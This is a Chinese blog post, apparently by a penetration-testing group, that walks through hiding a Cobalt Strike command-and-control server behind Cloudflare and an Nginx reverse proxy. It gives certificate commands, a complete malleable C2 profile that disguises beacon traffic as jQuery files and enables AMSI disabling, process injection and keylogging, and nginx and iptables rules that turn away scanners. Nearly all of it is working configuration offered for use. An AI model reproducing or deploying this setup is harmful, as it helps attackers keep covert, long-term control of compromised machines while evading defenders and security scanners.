CDN+Nginx反向代理来隐藏c2地址
2023-12-10 22:32:25 Author: 渗透安全团队(查看原文) 阅读量:38 收藏

思路:

CDN:通过借助CDN和Nginx反向代理和HTTPS来隐藏真实c2服务器 Nginx反向代理:通过Nginx对外部流量转发到本地,再设置防火墙只允许localhost访问cs端口达到IP白名单的效果

前几步和上篇文章一样

前几步地址

麋鹿,公众号:渗透安全团队CDN和域名隐藏C2地址 | 干货

第五步:配置TLS证书

1.更改cloudflare配置SSL/TLS加密模式为完全

2.在SSL/TLS——源服务器选项中生成一个新的证书,配置默认即可。生成cloudflare的pem和key文件,分别保存为cf.pem和cf.key,并上传至cs服务器

3.生成p12证书文件:

openssl pkcs12 -export -in cf.pem -inkey cf.key -out spoofdomain.p12 -name 你自己的域名 -passout pass:自己设置一个密码

生成.store格式文件
keytool -importkeystore -deststorepass 刚才设置的密码 -destkeypass 刚才设置的密码 -destkeystore cf.store -srckeystore spoofdomain.p12 -srcstoretype PKCS12 -srcstorepass 刚才设置的密码

运用cs的自带工具检查store有效性:
keytool -list -v -keystore cf.store

看到cf相关证书即成功:

这里解释一下为什么要生成新证书,cs自带证书为cobaltstrike.store,这个证书只用于服务端和客户端通讯。ssl.store证书用于HTTPS通信。这两个默认的证书存在cs的指纹信息

第六步:编写profile文件

cs的http相关流量特征可以根据profile文件改变,如果用默认的启动cs,通讯流量会十分明显,所以这一步是为了更改HTTPS的Beacon上线机器用的证书,还是为了消除特征

github中有很多profile案例,但现在的C2扫描器会针对常用的几个profile直接扫描,建议自行设置一个复杂的url路径。而且还会对ua进行过滤

set sample_name "kris_abao";
set sleeptime "12000"; #默认睡眠时间set host_stage "false"; #设置不允许stage模式set jitter "60"; #时间抖动值(0~99)set data_jitter "60"; #数据抖动值(0~99)set useragent "自己挑一个合适的ua"; #这里的ua建议选择一个稍微独特一点的,方便之后nginx过滤
set pipename "mojo.5688.8052.183894939787088877##";set pipename_stager "mojo.5688.8052.35780273329370473##";set tcp_frame_header "\x80";set smb_frame_header "\x80";
code-signer{   set keystore "cf.store";刚刚生成的/证书名字 set password "刚才设置的store密码"; set alias "第一步配置的cf域名";}
https-certificate {#配置ssl set CN "sni.cloudflaressl.com"; set O "Cloudflare"; set L "San Francisco"; set C "US";}
http-config { set headers "Server, Content-Type, Cache-Control, Connection"; header "Connection" "close"; header "Cache-Control" "max-age=2"; header "Server" "nginx"; #记录xff值,方便cdn过来时还能记录真实ip set trust_x_forwarded_for "true"; #can set whether you want to remove the UA that teamserver blocks by default set block_useragents "curl*,lynx*,wget*";}
http-get {
set uri "/js/jquery-3.3.1.min.js"; #这里可以自行更改一个复杂的路径 set verb "GET"; client { header "Accept" "*/*"; header "Accept-Language" "zh-CN,zh;q=0.8,zh-TW;"; metadata { base64url; prepend "https://www.google.com/what?indextype=1&__cfduid="; header "Referer"; } }
server { header "Content-Type" "application/*; charset=utf-8"; header "content-transfer-encoding" "binary"; output { base64; prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */\r!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.7.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.7.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:\"jQuery\"+(\"3.7.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),\"function\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=\"\r"; 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print; } }}http-stager { set uri_x86 "/js/jquery-3.3.1.slim.min.js"; set uri_x64 "/js/jquery-3.3.2.slim.min.js"; server { header "Content-Type" "application/*; charset=utf-8"; header "content-transfer-encoding" "binary"; output { prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */\r!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.7.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.7.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:\"jQuery\"+(\"3.7.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),\"function\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=\"\r"; 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print; } }
client { header "Accept" "text/html,application/xml;"; header "Accept-Encoding" "gzip, deflate"; header "Content-Type" "application/*; charset=utf-8"; header "content-transfer-encoding" "binary"; }}http-post { set uri "/post"; #自行更改一个复杂的路径 set verb "POST"; client { header "Accept" "*/*"; header "Accept-Language" "zh-CN,zh;q=0.8,zh-TW;"; id { base64; prepend "https://www.google.com/what?indextype=1&__cfduid="; header "Referer"; } output { base64url; print; } }
server { header "Content-Type" "application/*; charset=utf-8"; header "content-transfer-encoding" "binary"; output { mask; base64url;
# 1st Line prepend "{200}\r"; append "/*! Upload succeeded */"; print; } }}

process-inject { set allocator "NtMapViewOfSection"; set min_alloc "17500"; set startrwx "false"; set userwx "false"; transform-x86 { prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; #append "\x90\x90"; } transform-x64 { prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; #append "\x90\x90";} execute { CreateThread "ntdll.dll!RtlUserThreadStart+0x2285"; NtQueueApcThread-s; SetThreadContext; CreateRemoteThread; CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000"; RtlCreateUserThread; }}

post-ex { set spawnto_x86 "%windir%\\syswow64\\dllhost.exe"; set spawnto_x64 "%windir%\\sysnative\\dllhost.exe"; set obfuscate "true"; set smartinject "true"; set amsi_disable "true"; set pipename "Winsock2\\CatalogChangeListener-###-0,"; set keylogger "GetAsyncKeyState";}

编写完成之后,记得检查编写的profile文件是否有效:
./c2lint cf.profile

第七步:配置nginx代理转发

到这一步为止,基本特征已经消除,但是在Payload上线、Beacon监听、会话回连等过程中,Beacon的Listener被主动扫描、流量触发WAF/IDS规则都可能让C2服务器难逃被标记的命运,这时代理转发就用来过滤互联网上的c2扫描器

(这里科普一下,Beacon是Cobalt Strike运行在目标主机上的payload,Beacon在隐蔽信道上我们提供服务,用于长期控制受感染主机。)

利用nginx反向代理的特性,把所有不符合cs的profile文件请求都给拒掉,在杜绝cs服务器未授权访问漏洞的同时,也大大增强了隐蔽性。这里我们除了针对url过滤之外,同时也强制要求ua相同才可以访问

7.1安装docker

yum -y updateyum install -y yum-utils device-mapper-persistent-data lvm2yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repoyum list docker-ce --showduplicates | sort -ryum install docker-ce-19.03.15-3 docker-ce-cli-19.03.15-3 containerd.iosystemctl start docker

2、拉取nginx镜像docker pull nginx
3、docker启动nginx:docker run -d -p 443:443 --add-host=host.docker.internal:host-gateway nginx
注意这里的-add-host=host.docker.internal:host-gateway不能漏,否则docker容器里会无法转发到我们实体机上的cs服务器。
4、复制之前的证书到nginx容器中:
docker cp cf.pem 容器id:/etc/nginx/cf.pem
docker cp cf.key 容器id:/etc/nginx/cf.key
5、进入nginx容器docker exec -it 刚才启动的容器id /bin/bash
6、编辑/etc/nginx/conf.d/default.conf,原来的全删了,写入:(我这里直接cp的)

server {    listen 443 ssl http2;    ssl_certificate /etc/nginx/cf.pem;    ssl_certificate_key /etc/nginx/cf.key;    #ssl_verify_client on;    #下面写profile中get的url路径    location ~*/js/jquery {        #start with jquery        #下面写上profile中配置的ua        if ($http_user_agent != "profile中设置的useragent") {return 302;}        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;        proxy_pass  https://host.docker.internal:2095;        }    #下面写profile中的post的url路径    location ~*/post {        #start with jquery        #下面写上profile中配置的ua        if ($http_user_agent != "profile中设置的useragent") {return 302;}        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;        proxy_pass  https://host.docker.internal:2095;        }        #重定向其他所有请求,防止扫描器扫描        location / {        proxy_pass  https://www.google.com/;        }
}

7、重启容器docker restart 容器id

这一步nginx将443的端口流量转发到了2095端口,如下图,2095就是监听端口

第八步:防火墙配置

运用iptables配置防火墙,限制cs监听端口只能被本机访问,注意对外决不能暴露真实监听端口:
iptables -A INPUT -s 127.0.0.1 -p tcp --dport 2095 -j ACCEPT
iptables -A INPUT -s 172.17.0.0/16 -p tcp --dport 2095 -j ACCEPT
iptables -A INPUT -p tcp --dport 2095 -j DROP

九:启动cs服务器,测试效果:

修改一下teamserver的登录端口,默认的50050端口太容易被发现:
编辑文件中最后一行,主要是更改server_port、keyStore和keyStorePassword:
./TeamServerImage -Dcobaltstrike.server_port=50050 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./cf.store -Djavax.net.ssl.keyStorePassword=123456 teamserver $*

启动cs服务端:
./teamserver 服务器真实IP cs登录密码 cf.profile &
创建监听器的时候

最后说一下可能踩坑的地方

  1. cloudflare里面SSL/TLS加密模式没有设置为完全

  2. cloudflare的缓存没关

  3. profile写错了

  4. docker启动nginx没有加-add-host=host.docker.internal:host-gateway.导致没有转发

  5. teamserve没改

  6. 配置完nginx要重启

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